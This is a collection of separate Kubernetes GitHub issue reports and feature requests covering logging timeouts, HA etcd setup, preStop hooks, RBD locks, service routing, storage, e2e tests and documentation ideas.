centos7\r kubernetes:10.0.1\r elasticsearch:5.6.4\r kibana:5.6.4\r fluentd:v2.0.4  \r \r    \r 2018-09-28 07:46:54 +0000  warn :  elasticsearch  could not push logs to elasticsearch, resetting connection and trying again. read timeout reached\r 2018-09-28 07:46:58 +0000  info :  elasticsearch  connection opened to elasticsearch cluster => {:host=>\ elasticsearch-logging\ , :port=>9200, :scheme=>\ http\ }\r 2018-09-28 07:47:22 +0000  warn :  elasticsearch  could not push logs to elasticsearch, resetting connection and trying again. read timeout reached\r 2018-09-28 07:47:25 +0000  info :  elasticsearch  connection opened to elasticsearch cluster => {:host=>\ elasticsearch-logging\ , :port=>9200, :scheme=>\ http\ }\r 2018-09-28 07:47:32 +0000  warn :  elasticsearch  failed to flush the buffer. retry_time=30 next_retry_seconds=2018-09-28 07:46:47 +0000 chunk=\ 576e5f83cb4e9e96af2f776ab9fc7294\  error_class=fluent::plugin::elasticsearchoutput::connectionfailure error=\ could not push logs to elasticsearch after 2 retries. read timeout reached\ \r   2018-09-28 07:47:32 +0000  warn : suppressed same stacktrace\r 2018-09-28 07:47:57 +0000  warn :  elasticsearch  could not push logs to elasticsearch, resetting connection and trying again. read timeout reached\r 2018-09-28 07:48:02 +0000  info :  elasticsearch  connection opened to elasticsearch cluster => {:host=>\ elasticsearch-logging\ , :port=>9200, :scheme=>\ http\ }\r

there are a couple of functions in plugin/scheduler which i don't think belong there. for example:  checkpodsexceedingcapacity podfitsresources  if fact, the kubelet calls checkpodsexceedingcapacity in the scheduler. i don't think the kubelet should depend on functions in scheduler. i think these functions belong in the kubelet - the scheduler could have separate versions of them if it needs to approximate whether a pod fits.

i'm looking at setting up k8s with a ha master, and following along with the ha documentation at http://kubernetes.io/v1.1/docs/admin/high-availability.html  the k8s ha doc suggests using a discovery token.  however, the etcd documentation at https://github.com/coreos/etcd/blob/master/documentation/clustering.md says:  > moreover, discovery urls should only be used for the initial bootstrapping of a cluster. to change cluster membership after the cluster is already running, see the runtime reconfiguration guide.  i was thinking of running the masters in an aws auto-scaling group, but this means that their ip addresses would change  i have some strategies involving grabbing disks to ensure that they have some notion of persistent identity though .  an alternative idea i had was to use static config, but to have a process that queried the cloud api, and located the instances, and then dynamically updated a hosts file with the ip addresses.  so for example etcd would be launched with      etcd -name node1 -initial-advertise-peer-urls http://10.0.1.10:2380 \\   -listen-peer-urls http://10.0.1.10:2380 \\   -listen-client-urls http://10.0.1.10:2379 \\   -advertise-client-urls http://10.0.1.10:2379 \\   -initial-cluster-token etcd-cluster-1 \\   -initial-cluster node1=http://node1:2380,node2=http://node2:2380,node3=http://node3:2380 \\   -initial-cluster-state new      and then the hosts file would look like      10.0.1.10 node1  10.0.1.11 node2   node3 not yet running       i guess i could also use skydns rather than hosts files, but i am not sure about the bootstrapping there.  or even route53...   will discovery actually work and 'self-heal' as ip addresses change?  is there a better alternative to dynamically updating dns / host files?  @xiang90 i think you would know best here.  also cc @quinton-hoole because i think you'll find this interesting...

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : prestop hooks\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : master tip\r \r \r   environment  :\r -   cloud provider or hardware configuration  : dind-kubernetes\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  : 4.4.0-72-generic\r -   install tools  : dind\r -   others  :\r \r \r   what happened  :\r consider the below pod spec, which has a prestop hook that will run only for 2 seconds, but the termination grace period is configured for 10 seconds.\r    \r cat lifecycledemo.yaml\r  lifecycle demo\r apiversion: v1\r kind: pod\r metadata:\r   name: lc-demo\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r        {\r          \ name\ : \ write-it\ ,\r          \ image\ : \ bash\ ,\r          \ command\ :  \ /usr/local/bin/bash\ , \ -c\ , \ echo started > /config/test.file\  ,\r          \ volumemounts\ :  \r             {\r                \ name\ : \ config\ ,\r                \ mountpath\ : \ /config\ \r             }\r           \r        }\r      '\r spec:\r   terminationgraceperiodseconds: 10\r   containers:\r   - name: prestop\r     image: bash\r     command:   \ /usr/local/bin/bash\ , \ -c\ , \ --\   \r     args:   \ while true; do sleep 1; echo prestop1: date ;  cat /config/test.file; done;\   \r     volumemounts:\r       - name: config\r         mountpath: /config\r     lifecycle:\r       prestop:\r         exec:\r           command:  \ /usr/local/bin/bash\ ,\ -c\ , \ echo preexithook_executing > /config/test.file; sleep 2; echo preexithook_finished > /config/test.file\  \r   volumes:\r       - name: config\r         emptydir: {}\r    \r prestop hook will write 'executing' when its executing and 'finished' just before it finishes its execution to  /config/test.file .  the main pod will simply print the content of the file.\r   what you expected to happen  :\r when we attach to the pod's logs, here is the output\r    \r k logs -f lc-demo\r prestop1:sat apr 29 03:58:59 utc 2017\r started\r prestop1:sat apr 29 03:59:00 utc 2017\r started\r prestop1:sat apr 29 03:59:01 utc 2017\r preexithook_executing\r prestop1:sat apr 29 03:59:02 utc 2017\r preexithook_executing\r prestop1:sat apr 29 03:59:03 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:04 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:05 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:06 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:07 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:08 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:09 utc 2017\r preexithook_finished\r prestop1:sat apr 29 03:59:10 utc 2017\r preexithook_finished\r    \r \r as you can see the prestop hook had completed executing 8 seconds before, but the pod is still kept alive until its original termination graceperiod.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r for scenarios where the termination grace period will be hard to predict before hand, a user might assign a very large value, but once the clean-up/wrap step is completed the pod should get deleted.  it should not wait for the whole term greace period.  is it a bug or was it intentially designed like this?

hello all,\r we are running an openshift cluster with ceph rbd's mounted into running pods. when a node unexpectedly drops out of the cluster and doesn't return, rbd locks are left behind causing these pods to fail to deploy to any other node before manual intervention is taken to remove said locks. we found the attach_detach_controller kubernetes component and have activated it by adding the appropriate annotation to the nodes-config.yaml and restarting. i can see from the logs on the nodes we are testing on that it has been activated. steps we followed to enable are here:\r openshift/openshift-docs@da5ae70\r \r      version\r os - centos 7\r kernel - 3.10.0-514.10.2.el7.x86_64\r openshift v1.5.0\r kubernetes v1.5.2+43a9be4\r etcd 3.1.0\r \r      steps to reproduce\r \r 1     set up project, deployment configuration and ceph pvc. we pinned said test project to two nodes in our cluster using node-selector on the namespace.\r \r 2     apply settings above to the nodes the project is set to run on and the masters.\r \r 3     spin up pod, take out node by stopping and masking origin-node and docker services and restarting.\r \r 4     watch rbd locks on image and see that lock is not removed from image automatically.\r \r      current result\r \r pod gets stuck redeploying with errors in events advising unable to mount pod as there is a lock on the image. the following status in ceph for the image being tested:\r \r blacklist - listed 0 entries\r watchers: none\r locks:\r there is 1 exclusive lock on this image.\r locker id address\r client.4442 kubelet_lock_magic_ redacted   redacted \r \r      expected result\r \r the problem node blacklisted from io, rbd lock to be automatically removed after a few minutes when node does not return to the cluster and the pod spin up successfully.\r additional information\r \r according to the documentation indications are that the controller is active, from /var/log/messages on the active master for all nodes in the cluster:\r \r may 23 09:51:45 master- redacted  origin-master-controllers: i0523 09:51:45.661129 3143672 attach_detach_controller.go:540  processvolumesinuse for node \  redacted \ \r \r on the nodes where the annotation has been activated:\r may 22 16:36:27 node- redacted  origin-node: i0522 16:36:27.139905 1629689 kubelet_node_status.go:227  setting node annotation to enable volume controller attach/detach\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : aws ebs pvc cloud-controller-manager\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version   :1.6.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os   :centos 7\r -   kernel  :3.10.0-514.16.1.el7.x86_64\r -   install tools  : k8s components from binary executable file\r -   others  : none\r \r \r   what happened  :\r i started the  kube-controller-manager  without cloud provider configuration,  and ran the  cloud-controller-manager  to take over, while when i create a service with  type: loadbalancer , the  cloud-controller-manager  cant create a elb and works fine, but when i try to create a pvc,  the pvc is always pending, and logs like\r    \r error finding provisioning plugin for claim default/ebs-pvc-volume: no volume plugin matched\r    \r then i stop the  cloud-controller-manager  and restart the  kube-controller-manager  with cloud provider configuration, then the pvc can create and the ebs attached into a pod automatically\r   what you expected to happen  :\r the  kube-controller-manager  start without any cloud provider configuration and the  cloud-controller-manager  take over the  responsibility and can handle all of the operation e.g. elb、ebs...   \r \r   how to reproduce it    as minimally and precisely as possible :\r the  kube-controller-manager  started  without cloud provider configuration, then start the  cloud-controller-manager  , after that , create a pvc of ebs, then create a pod which try to mount the ebs \r \r   anything else we need to know  :\r none\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r bug\r >  \r \r   what happened  :\r requests from within a pod, to another pod that was behind a service, were only working intermittently, around 30% of the time. eg from within a busybox pod, i could run:\r \r    \r   root@curl-57077659-61tm8:/  $ curl -v nl-services-gateway:9200\r    \r sometimes i would get:\r    \r   failed to connect to nl-services-gateway port 9200: connection refused\r curl:  7  failed to connect to nl-services-gateway port 9200: connection refused\r    \r other times i would get the expected response:\r \r    \r  get / http/1.1\r > user-agent: curl/7.35.0\r > host: nl-services-gateway:9200\r > accept:  / \r > \r < http/1.1 200 ok\r < content-type: application/json; charset=utf-8\r < content-length: 317\r < \r {\r   \ name\  : \ primevil\ ,\r   \ cluster_name\  : \ elasticsearch\ ,\r   \ version\  : {\r     \ number\  : \ 2.4.0\ ,\r     \ build_hash\  : \ ce9f0c7394dee074091dd1bc4e9469251181fc55\ ,\r     \ build_timestamp\  : \ 2016-08-29t09:14:17z\ ,\r     \ build_snapshot\  : false,\r     \ lucene_version\  : \ 5.5.2\ \r   },\r   \ tagline\  : \ you know, for search\ \r }\r     \r \r i sshed into the node that was running the service and had a look at the iptables. here is a summary of the relevant chain  masks omitted for clarity :\r \r    \r -a kube-nodeports -p tcp -m comment --comment \ dev/nl-services-gateway:es\  -m tcp --dport 31137 -j kube-svc-d63fdk4hyu7swl3r\r -a kube-svc-d63fdk4hyu7swl3r -m comment --comment \ dev/nl-services-gateway:es\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-n65iewe5lc4rfqa6\r -a kube-svc-d63fdk4hyu7swl3r -m comment --comment \ dev/nl-services-gateway:es\  -j kube-sep-2ldnqg7kfkvnlfy5\r -a kube-sep-n65iewe5lc4rfqa6 -p tcp -m comment --comment \ dev/nl-services-gateway:es\  -m tcp -j dnat --to-destination 10.41.248.1:9200\r -a kube-sep-2ldnqg7kfkvnlfy5 -p tcp -m comment --comment \ dev/nl-services-gateway:es\  -m tcp -j dnat --to-destination 10.41.248.2:9200\r    \r \r the above means that 50% of the requests will go to 10.41.248.1:9200, the other 50% will go to 10.41.248.2:9200.\r \r this is a problem, because 10.41.248.2:9200 actually relates to a completely different app  rmq , which isn't listening on that port, as shown here  other apps omitted for clarity :\r \r    \r ubuntu ~  : kubectl get po -o wide\r name                                ready     status    restarts   age       ip            node\r nl-es-1593651464-92c86              1/1       running   0          4h        10.41.248.1   ip-10-20-40-39.us-west-1.compute.internal\r nl-rmq-1919382859-xflb1             1/1       running   0          7d        10.41.248.2   ip-10-20-40-39.us-west-1.compute.internal\r    \r \r   what you expected to happen  :\r \r i expect that iptables for a particular port to only route to the pod that is listening on that port. ie, if the ports for a pod are 5672 and15672 but not 9200, it should never be forwarded traffic that is destined to 9200.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set up a multi port service:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: nl-services-gateway\r   labels:\r     app: nl-services-gateway\r spec:\r   type: loadbalancer\r   ports:\r   - port: 9200\r     protocol: tcp\r     name: es\r   - port: 15672\r     targetport: 15672\r     protocol: tcp\r     name: rmq-http\r   - port: 5672\r     protocol: tcp\r     name: rmq-amqp\r   selector:\r     svc: nl-services-gateway\r    \r \r set up the elasticsearch app:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nl-es\r   labels:\r     app: nl-es\r spec:\r   replicas: 1\r   revisionhistorylimit: 2\r   selector:\r     matchlabels:\r       app: nl-es\r   template:\r     metadata:\r       labels:\r         app: nl-es\r         svc: nl-services-gateway\r     spec:\r       containers:\r       - name: nl-es\r         image: <redacted>\r         volumemounts:\r         - mountpath: \ /usr/share/elasticsearch/data\ \r           name: nl-es-vol\r         ports:\r         - containerport: 9200\r           hostport: 9200\r         - containerport: 9300\r           hostport: 9300\r       volumes:\r       - name: nl-es-vol\r         persistentvolumeclaim:\r           claimname: nl-es-pvc\r       nodeselector:\r         type: services \r    \r \r set up the rmq app:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nl-rmq\r   labels:\r     app: nl-rmq\r spec:\r   replicas: 1\r   revisionhistorylimit: 2\r   selector:\r     matchlabels:\r       app: nl-rmq\r   template:\r     metadata:\r       labels:\r         app: nl-rmq\r         svc: nl-services-gateway\r     spec:\r       hostname: nl-rmq\r       containers:\r       - name: nl-rmq\r         image: <redacted>\r         volumemounts:\r         - mountpath: \ /var/lib/rabbitmq\ \r           name: nl-rmq-vol\r         ports:\r         - containerport: 5672\r           hostport: 5672\r         - containerport: 15672\r           hostport: 15672\r         env:\r         - name: rabbitmq_default_user\r           value: <redacted>\r         - name: rabbitmq_default_pass\r           value: <redacted>\r       volumes:\r       - name: nl-rmq-vol\r         persistentvolumeclaim:\r           claimname: nl-rmq-pvc\r       nodeselector:\r         type: services\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration  :\r aws t2.smalls  nodes , m3.medium  master \r - os  e.g. from /etc/os-release :\r kops default\r - kernel  e.g.  uname -a  :\r kops default\r - install tools:\r kops default\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r i'm running a simple kubernetes cluster with master and one node. all basic pods are deploying successfully  ie. weave-net  but when i try to deploy glusterfs as a pod -  container creation fails with error:\r \r > couldn't find an alternative telinit implementation to spawn.\r \r this is a result of failing to perform\r \r > cmd  \ /usr/sbin/init\  \r \r from    gluster/gluster-centos    docker file.\r \r the weird part is that if i run this image directly on node through docker it runs smoothly.\r \r   what you expected to happen  :\r \r i'd expect to be able to deploy glusterfs through kubernetess properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup minimal cluster and try to deploy the follwing pod\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: glusterfs\r   labels:\r     glusterfs-node: pod\r spec:\r   hostnetwork: true\r   nodeselector:\r     storagenode: glusterfs\r   restartpolicy: never\r   containers:\r     - name: glusterfs\r       image: gluster/gluster-centos\r       imagepullpolicy: always\r       volumemounts:\r       - name: glusterfs-cgroup\r         mountpath: \ /sys/fs/cgroup\ \r       securitycontext:\r        capabilities: {}\r        privileged: true\r       readinessprobe:\r        timeoutseconds: 3\r        initialdelayseconds: 60\r        exec:\r          command:\r          - \ /bin/bash\ \r          - \ -c\ \r          - systemctl status glusterd.service\r       livenessprobe:\r        timeoutseconds: 3\r        initialdelayseconds: 60\r        exec:\r          command:\r          - \ /bin/bash\ \r          - \ -c\ \r          - systemctl status glusterd.service\r   volumes:\r   - name: glusterfs-cgroup\r     hostpath:\r       path: \ /sys/fs/cgroup\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd6\r 4\ }                                                                                                                                                                                                                                           \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd6\r 4\ }\r    \r - cloud provider or hardware configuration  :\r virtualbox\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r    \r - kernel  e.g.  uname -a  :\r    \r linux k8s-master 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - docker version\r    \r /home/ubuntu  docker version\r client:\r  version:      17.05.0-ce\r  api version:  1.29\r  go version:   go1.7.5\r  git commit:   89658be\r  built:        thu may  4 22:10:54 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.05.0-ce\r  api version:  1.29  minimum version 1.12 \r  go version:   go1.7.5\r  git commit:   89658be\r  built:        thu may  4 22:10:54 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r - install tools:\r vagrant\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i run\r \r    \r kubectl describe pod nonexistent-pod\r    \r \r and i got\r \r    \r error: another mapper was already selected, cannot use unstructured types\r    \r \r running with  --v=9  shows\r \r    \r $ kubectl --v=9 describe pod nonexistent-pod\r i0502 10:51:46.138889    6775 loader.go:359  config loaded from file /var/run/kubernetes/admin.kubeconfig\r i0502 10:51:46.142979    6775 round_trippers.go:386  curl -k -v -xget  -h \ accept: application/json\  -h \ user-agent: kubectl/v1.11.0  linux/amd64  kubernetes/ed9b25c\  'https://localhost:6443/api/v1/namespaces/default/pods/nonexistent-pod'\r i0502 10:51:46.151237    6775 round_trippers.go:405  get https://localhost:6443/api/v1/namespaces/default/pods/nonexistent-pod 404 not found in 8 milliseconds\r i0502 10:51:46.151287    6775 round_trippers.go:411  response headers:\r i0502 10:51:46.151291    6775 round_trippers.go:414      content-length: 198\r i0502 10:51:46.151295    6775 round_trippers.go:414      date: wed, 02 may 2018 10:51:46 gmt\r i0502 10:51:46.151317    6775 round_trippers.go:414      content-type: application/json\r i0502 10:51:46.151361    6775 request.go:897  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ pods \\\ nonexistent-pod\\\  not found\ ,\ reason\ :\ notfound\ ,\ details\ :{\ name\ :\ nonexistent-pod\ ,\ kind\ :\ pods\ },\ code\ :404}\r f0502 10:51:46.152582    6775 helpers.go:113  error: another mapper was already selected, cannot use unstructured types\r    \r \r   what you expected to happen  :\r \r    \r error from server  notfound : pods \ nonexistent-pod\  not found\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r with kubernetes master branch\r    \r path=/home/test/kubernetes/third_party/etcd:${path} ./hack/local-up-cluster.sh\r    \r \r and in different terminal on the same machine\r \r    \r kubectl describe pod nonexistent-pod\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1.487+ed9b25c90241b2\ , gitcommit:\ ed9b25c90241b2b8a1fa10b96381c57f99ca952a\ , gittreestate:\ clean\ , builddate:\ 2018-05-02t11:15:24z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.1.487+ed9b25c90241b2\ , gitcommit:\ ed9b25c90241b2b8a1fa10b96381c57f99ca952a\ , gittreestate:\ clean\ , builddate:\ 2018-05-02t11:15:24z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vm via libvirtd\r - os  e.g. from /etc/os-release : fedora 27 with golang-1.10.1-1.fc29.x86_64 from rawhide\r - kernel  e.g.  uname -a  :\r    \r linux kubernetes.example.test 4.15.17-300.fc27.x86_64  1 smp thu apr 12 18:19:17 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: ??\r - others:\r

dear,\r \r we are interesting in running spark jobs on kubernetes.\r there are two types of spark jobs in our cluster.\r \r - batch jobs that have high workload but do not require fast response.\r - interactive jobs, that are triggered from user side, which have strict response time requirement  order of seconds or less .\r \r expectation:\r 1  we would like to know whether it is possible to put  such jobs, so that the interactive jobs have higher priority? once the interactive jobs are triggered, batch jobs are supposed to quickly free resources  e.g., by getting killed  so that the interactive jobs can have the maximum resources allocated in order to meet the response time requirement.\r 2  it would be perfect if kubernetes support dynamic resource allocation. by \ dynamic resource allocation\ , we mean that the resource requirement for a job must not be fixed. for instance, instead of giving a job 3 cpu and 5gb mem, it would be better to set the job that can take 50% of the available resource  and 50% of course a configuration parameter that users can define as their will .\r \r so far, we could not find any documentation about kubernetes that mentions this.\r could you please enlighten us.\r \r best

 \r   what happened  :\r https://kubernetes.io/docs/tasks/inject-data-application/downward-api-volume-expose-pod-information/ capabilities-of-the-downward-api doesn't support  metadata.cluster  or similar \r \r   what you expected to happen  :\r expose cluster info through downward api\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r as documented on  objectmeta.clustername , \ this field is not set anywhere right now and apiserver is going to ignore it if set in create or update request.\  but this info is very important on a multi cluster setup.\r \r also, despite the fact that gke may access this info through metadata service, this info should come from the k8s, instead of externally.

follow-up of https://github.com/kubernetes/kubernetes/issues/68035 which uncovered deep issues with unstructured in apimachinery:\r \r we have conversions to  __internal  in our handlers, e.g.\r \r - create: https://github.com/kubernetes/kubernetes/blob/5f364a0b84669a2dc086a35292db088b912d1c3c/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/create.go l80\r - update: https://github.com/kubernetes/kubernetes/blob/5f364a0b84669a2dc086a35292db088b912d1c3c/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/update.go l93\r \r still customresource no-op conversion works, somehow. why?\r \r one of the reasons  possibly among others  is that\r - versioning decoders do not care much about groupversions, but mostly about type equality of target objects, compare https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/runtime/serializer/versioning/versioning.go l106\r - passed groupversion in cr decoders is effectively ignored, compare \r   - for the handler scope serializer: https://github.com/kubernetes/kubernetes/blob/5b82745cafec1b8fb0d767fc33fa4609354d2cc0/staging/src/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go l614. decoding a cr to  __internal  \r  should fail, but doesn't.\r \r maybe our main problem is that we don't have rigorous apimachinery tests using  unstructured , but many ad-hoc patches in many places to handle  unstructured  in a good enough way to make it work with customresources.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce\r \r   which test s  are failing  :\r i0221 20:48:18.462   sig-storage  in-tree volumes\r i0221 20:48:18.462  \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/framework.go:22\u001b 0m\r i0221 20:48:18.462     driver: gcepd \r i0221 20:48:18.462    \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/in_tree_volumes.go:65\u001b 0m\r i0221 20:48:18.462       testpattern: dynamic pv  filesystem volmode   volumemode\r i0221 20:48:18.463      \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/base.go:75\u001b 0m\r i0221 20:48:18.463        should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources\r \r   since when has it been failing  :\r unsure\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35080\r \r   reason for failure  :\r from the logs, it looks like it's deleting both pvc and pv objects at the same time, which is not correct.\r i0221 20:48:18.460  feb 21 20:48:09.866: info: deleting persistentvolumeclaim \ pvc-cjv2l\ \r i0221 20:48:18.460  feb 21 20:48:09.923: info: deleting persistentvolume \ pvc-ec76793b-3619-11e9-b923-42010a8a0002\ \r \r  this call  https://sourcegraph.com/github.com/kubernetes/kubernetes/-/blob/test/e2e/storage/testsuites/volumemode.go l149:22  should be changed to only delete pvc and wait for pv to be deleted by the driver.  can it just call  cleanupresource  https://sourcegraph.com/github.com/kubernetes/kubernetes/-/blob/test/e2e/storage/testsuites/base.go l221  which does it correctly? \r \r   anything else we need to know  :\r

what would you like to be added  :\r the function  waitfornamedauthorizationupdate  in  test/e2e/framework/auth/helpers.go  should check for gke and allow a missing subjectaccessreview endpoint. if we get a 404 on another provider an error should still be returned.\r \r gke doesn't enable the sar endpoint.  without this endpoint, we cannot determine if the policy engine has adjusted as expected.  in this case, we currently wait one second and hope it's up to date without returning an error and that it has adjusted as expected.\r \r   why is this needed  :\r a 404 on that endpoint is not expected behavior for any provider other than gke so it doesn't make any sense to implicitly allow 404s and  hope  that everything is ok. if it is a special, allowable, condition for gke we should make that explicit in the code.\r \r the problem with doing it now is that checking the provider requires access to the testcontext which forces us to import the entire  test/e2e/framework  package. this goes against the goal of  76206 \r \r at the same time, we don't want to cause every test/caller of this to have to  1  know that gke acts differently in this situation and code that one special path. this may be the lesser of the evils though, but regardless of how it is accomplished, at some point, the code should be validating this flow.\r \r open to other solutions to this; maybe a specific test to test this code path  in which case this helper can be assumed to not be responsible for it?  not sure if that is considered sufficient as it creates an awkward coupling between a helper function's assumptions and the existence of particular test.

during release process we use only numbered docker image versions, e.g.  v1.1.7  or  v.1.2.0-alpha.7 . from the user perspective it would be easier to use  gcr.io/google_containers/hyperkube-amd64:stable  for  v1.1.7  or  gcr.io/google_containers/hyperkube-amd64:latest  for  v1.2.0-alpha.7 . this will allow us to avoid hardcoding versions in various documents like docker getting started guide.  forked from  16087  @brendandburns @luxas @dalanlan @ihmccreery @david-mcmahon

currently hpa will only generate events that it cannot read metrics:      events:   firstseen lastseen    count   from                subobjectpath   type        reason          message   --------- --------    -----   ----                -------------   --------    ------          -------   9m        7s      22  {horizontal-pod-autoscaler }            warning     failedgetmetrics    failed to get cpu consumption and request: metrics obtained for 0/1 of pods   9m        7s      22  {horizontal-pod-autoscaler }            warning     failedcomputereplicas   failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 0/1 of pods      we should be more specific and explain that for example pod is not running, or heapster is not responding or we cannot resolve url to heapster.  @kubernetes/autoscaling

- need more specific ones that hit a “use case” or “pattern” that highlight stuff that kubernetes does well - standardize a common organization between application code and configurations   - example:                    app/main.go       app/dockerfile       config/service.yaml       config/controller.yaml         - want both end to end examples that shows    - a full app working   - simpler examples that point out how individual features work for one issue     - examples:       - deploying a private image       - exposing a service on an external ip      - could be seeded as stackoverflow questions  part of  2633

